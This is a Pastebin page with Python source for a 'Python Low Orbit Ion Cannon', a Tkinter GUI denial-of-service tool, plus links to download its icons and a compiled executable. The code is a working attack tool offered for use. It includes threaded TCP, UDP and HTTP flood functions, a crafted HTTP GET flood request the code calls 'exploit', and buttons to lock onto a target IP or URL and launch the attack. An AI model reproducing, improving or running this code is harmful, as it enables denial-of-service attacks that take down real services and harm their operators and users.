Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Download Icon and Image files: https://www.mediafire.com/folder/1yp26khhbf9vd/PyLoic_Proj
- #Download Compiled Python Binary (.exe): http://www.mediafire.com/download/sr7xop7m1q513hs/PyLoic.exe
- #Python Version of Low Orbit Ion Cannon
- from Tkinter import *
- import ttk
- import tkFont
- import socket
- import sys
- import os
- import time
- import random
- import threading
- import tkMessageBox
- screenbg = "#0A1D44"
- screenfg = "white"
- def resource_path(relative):
- if hasattr(sys, "_MEIPASS"):
- return os.path.join(sys._MEIPASS, relative)
- return os.path.join(relative)
- iconName = 'loic.ico'
- iconFile = resource_path(iconName)
- root = Tk()
- root.geometry("720x480")
- root.configure(background=screenbg)
- root.title("Python Low Orbit Ion Cannon")
- root.iconbitmap(iconFile)
- filename = 'loic.gif'
- myfile = resource_path(filename)
- photo = PhotoImage(file=myfile)
- loic = Label(bg=screenbg,image=photo)
- loic.image = photo
- loic.place(x=490,y=10)
- default_font = tkFont.nametofont("TkDefaultFont")
- default_font.configure(size=11)
- root.option_add("*Font", default_font)
- #### Target Frame ##############
- targetFrame = LabelFrame(root,text="Select Target",bg=screenbg,fg=screenfg,height=160,width=470)
- targetFrame.place(x=5,y=5)
- LockOn = StringVar()
- LockOn.set("127.0.0.1")
- Label(targetFrame,textvariable=LockOn,bg=screenbg,fg=screenfg,font="Courier 25 italic bold").place(x=60,y=85)
- Label(targetFrame,text="IP Address:",bg=screenbg,fg=screenfg).place(x=5,y=5)
- ip = ttk.Entry(targetFrame,width=33)
- ip.place(x=90,y=5)
- Label(targetFrame,text="URL:",bg=screenbg,fg=screenfg).place(x=5,y=45)
- url = ttk.Entry(targetFrame,width=33)
- url.place(x=90,y=45)
- _target_addr = "127.0.0.1"
- _target_url = "http://google.com"
- ####### Attack settings Frame ######
- atkframe = LabelFrame(root,text="Attack Options",bg=screenbg,fg=screenfg,height=170,width=470)
- atkframe.place(x=5,y=170)
- _p = StringVar()
- _d = StringVar()
- _t = StringVar()
- _htp = StringVar()
- _msg = StringVar()
- _p.set(str(80))
- _d.set(str(1))
- _t.set(str(0.1))
- _htp.set("/")
- _msg.set("This is much better than original")
- Label(atkframe,text="Port:",bg=screenbg,fg=screenfg).place(x=5,y=5)
- Label(atkframe,text="Threads:",bg=screenbg,fg=screenfg).place(x=145,y=5)
- Label(atkframe,text="Timeout:",bg=screenbg,fg=screenfg).place(x=305,y=5)
- _port = ttk.Entry(atkframe,textvariable=_p,width=10)
- _threads = ttk.Entry(atkframe,textvariable=_d,width=10)
- _timeout = ttk.Entry(atkframe,textvariable=_t,width=10)
- _port.place(x=50,y=5)
- _threads.place(x=210,y=5)
- _timeout.place(x=370,y=5)
- #Attack Method Options
- proto = ""
- proto_var = StringVar(root)
- choices = {
- 'TCP': 'tcp',
- 'HTTP': 'http',
- 'uDP': 'udp',
- 'UDP': 'udp',
- }
- Label(atkframe,text="Method",bg=screenbg,fg=screenfg).place(x=5,y=60)
- ttk.OptionMenu(atkframe, proto_var, *choices).place(x=5,y=90)
- proto_var.set('UDP')
- proto = "udp"
- Label(atkframe,text="HTTP Subsite",bg=screenbg,fg=screenfg).place(x=220,y=35)
- Label(atkframe,text="TCP/UDP Message",bg=screenbg,fg=screenfg).place(x=210,y=85)
- http_sub = ttk.Entry(atkframe,textvariable=_htp,width=45)
- http_sub.place(x=90,y=60)
- atk_msg = ttk.Entry(atkframe,textvariable=_msg,width=45)
- atk_msg.place(x=90,y=110)
- #### Status Tab ########
- statusframe = LabelFrame(root,text="Attack Status",bg=screenbg,fg=screenfg,height=90,width=470)
- statusframe.place(x=5,y=340)
- Label(statusframe,text="Requested",bg=screenbg,fg=screenfg).place(x=5,y=5)
- Label(statusframe,text="Downloaded",bg=screenbg,fg=screenfg).place(x=165,y=5)
- Label(statusframe,text="Sent Packets",bg=screenbg,fg=screenfg).place(x=325,y=5)
- _req = 0
- _down = 0
- _pkts = 0
- running = False
- _Requests = StringVar()
- _download = StringVar()
- _packets = StringVar()
- _Requests.set(str(_req))
- _download.set(str(_down))
- _packets.set(str(_pkts))
- Label(statusframe,textvariable=_Requests,bg=screenbg,fg=screenfg).place(x=5,y=35)
- Label(statusframe,textvariable=_download,bg=screenbg,fg=screenfg).place(x=165,y=35)
- Label(statusframe,textvariable=_packets,bg=screenbg,fg=screenfg).place(x=325,y=35)
- #### DDOS Functions ######
- def HTTPFlood(target,port,payload,timeout):
- while True:
- global running
- global _req,_down,_pkts
- if running:
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.settimeout(timeout)
- myport = 80
- try:
- s.connect((target,port))
- _req += 1
- s.send(payload)
- _pkts += 1
- data = s.recv(65500)
- _down += 1
- s.close()
- except:
- pass
- del s
- else:
- break
- def UDPFlood(target,port,payload):
- s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
- while True:
- global running
- global _req,_down,_pkts
- if running:
- s.sendto(payload,(target,port))
- _pkts += 1
- time.sleep(0.01)
- else:
- break
- def TCPFlood(target,port,payload,timeout):
- while True:
- global running
- global _req,_down,_pkts
- if running:
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.settimeout(timeout)
- try:
- s.connect((target,port))
- _req += 1
- s.send(payload)
- _pkts += 1
- s.close()
- except:
- pass
- del s
- time.sleep(0.01)
- else:
- break
- def Start():
- global _target_url,_target_addr,_port,atk_msg,_timeout,http_sub
- global running,proto
- global _req,_down,_pkts
- global _threads
- _req = 0
- _down = 0
- _pkts = 0
- if running == False:
- running = True
- if http_sub.get() == "":
- subsite = "/"
- else:
- subsite = http_sub.get()
- exploit = "GET %s HTTP/1.1\r\n" % subsite
- exploit += "Pragma: no-cache\r\n"
- exploit +="Cache-Control: no-cache\r\n"
- exploit +="Host: %s\r\n" % _target_url
- exploit +="Connection: Keep-alive\r\n"
- exploit +="Accept-Encoding: gzip,deflate\r\n"
- exploit +="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36\r\n"
- exploit +="Accept: */*\r\n\r\n"
- host = _target_addr
- if _timeout.get() == "":
- mytimeout = 0.5
- else:
- mytimeout = float(_timeout.get())
- if _port.get() == "":
- myport = 80
- else:
- myport = int(_port.get())
- if myport > 65500:
- myport = 65500
- if atk_msg.get() == "":
- data = 2
- else:
- data = len(atk_msg.get())
- data = data**2
- to_send = random._urandom(data)
- if _threads.get() == "" or int(_threads.get()) <= 0:
- num = 1
- else:
- num = int(_threads.get())
- if proto == "udp":
- host = _target_addr
- for x in range(num):
- t = threading.Thread(target=UDPFlood,args=[_target_addr,myport,to_send],)
- t.daemon = True
- t.start()
- if proto == "tcp":
- host = _target_addr
- for x in range(num):
- t = threading.Thread(target=TCPFlood,args=[_target_addr,myport,to_send,mytimeout,])
- t.daemon = True
- t.start()
- if proto == "http":
- host = _target_url
- for x in range(num):
- t = threading.Thread(target=HTTPFlood,args=[_target_addr,myport,exploit,mytimeout])
- t.daemon = True
- t.start()
- def Stop():
- global running
- if running:
- running = False
- #### Other Functions ######
- def Update():
- global _req,_down,_pkts
- _Requests.set(str(_req))
- _download.set(str(_down))
- _packets.set(str(_pkts))
- root.after(1,Update)
- def change_protocol(*args):
- global proto
- proto_ = choices[proto_var.get()]
- proto = proto_
- def Lock(target):
- global LockOn
- global _target_addr,_target_url
- if target == "IP":
- _target_addr = ip.get()
- LockOn.set(_target_addr)
- else:
- site = url.get()
- if "http://" in site:
- site = site.split("http://")[1]
- if "www." in site:
- site = site.split("www.")[1]
- _target_url = site
- to_put = socket.gethostbyname(site)
- _target_addr = to_put
- LockOn.set(to_put)
- ttk.Button(targetFrame,text="Lock on",command=lambda: Lock("IP")).place(x=365,y=5)
- ttk.Button(targetFrame,text="Lock on",command=lambda: Lock("URL")).place(x=365,y=45)
- ttk.Button(root,text="Attack",width=20,command=Start).place(x=15,y=440)
- ttk.Button(root,text="Stop",width=20,command=Stop).place(x=300,y=440)
- proto_var.trace('w',change_protocol)
- root.after(1,Update)
- root.mainloop()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement